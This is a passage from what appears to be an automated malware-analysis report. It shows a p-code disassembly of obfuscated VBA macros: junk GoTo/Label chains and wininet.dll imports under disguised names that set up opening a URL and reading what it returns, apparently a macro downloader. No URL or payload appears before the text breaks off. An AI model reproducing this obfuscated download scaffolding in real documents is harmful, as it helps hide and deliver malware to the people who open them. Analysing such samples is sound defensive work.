' Line #104:
' 	FuncDefn (Public Function NkTflaaAAa5555JZgirOJnpV())
' Line #105:
' 	GoTo OYid12cVLrA 
' Line #106:
' 	Label OYid12cVLrA 
' Line #107:
' 	GoTo cJLg6666sssssNbYGT 
' Line #108:
' 	Label cJLg6666sssssNbYGT 
' Line #109:
' 	GoTo UdS334y5y5pGhHS 
' Line #110:
' 	Label UdS334y5y5pGhHS 
' Line #111:
' Line #112:
' 	EndFunc 
' Line #113:
' 	FuncDefn (Public Function DsYTTRQIO())
' Line #114:
' Line #115:
' 	EndFunc 
' Line #116:
' 	FuncDefn (Public Function Module2())
' Line #117:
' 	GoTo vssvsef3wtg3gxfvx 
' Line #118:
' 	Label vssvsef3wtg3gxfvx 
' Line #119:
' 	GoTo sdssssaas 
' Line #120:
' 	Label sdssssaas 
' Line #121:
' 	GoTo sdvsS54738EG 
' Line #122:
' 	Label sdvsS54738EG 
' Line #123:
' 	GoTo oZRZD44444eP 
' Line #124:
' 	Label oZRZD44444eP 
' Line #125:
' Line #126:
' 	EndFunc 
' Line #127:
' Line #128:
' Line #129:
' Macros/VBA/Module3 - 7062 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' Line #2:
' 	LbMark 
' 	Ld VBA7 
' 	Ld Win64 
' 	And 
' 	LbIf 
' Line #3:
' 	FuncDefn (Private Declare PtrSafe Function Module5 Lib "wininet.dll" (ByRef hInet As LongPtr) As Long)
' Line #4:
' 	FuncDefn (Private Declare PtrSafe Function dpqmvo409 Lib "wininet.dll" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPtr)
' Line #5:
' 	FuncDefn (Private Declare PtrSafe Function vmbiwl9009 Lib "wininet.dll" (ByVal hFile As LongPtr, ByVal sBuff As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer)
' Line #6:
' 	FuncDefn (Private Declare PtrSafe Function fdsdqo2929 Lib "wininet.dll" (ByVal hInternetSession As LongPtr, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As LongPtr)
' Line #7:
' 	LbMark 
' 	LbElse 
' Line #8:
' 	FuncDefn (Private Declare Function Module5 Lib "wininet.dll" (ByRef hInet As Long) As Long)
' Line #9:
' 	FuncDefn (Private Declare Function dpqmvo409 Lib "wininet.dll" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long)
' Line #10:
' 	FuncDefn (Private Declare Function vmbiwl9009 Lib "wininet.dll" (ByVal hFile As Long, ByVal sBuff As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer)
…

Open this report in the interactive analyzer, or submit your own file for analysis.